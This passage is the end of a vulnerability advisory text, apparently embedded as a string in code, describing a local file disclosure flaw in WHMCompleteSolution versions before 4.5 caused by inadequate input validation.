because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain
potentially sensitive information from local files on computers
running the vulnerable application. This may aid in further attacks.

Versions prior to WHMCompleteSolution 4.5 are vulnerable.";
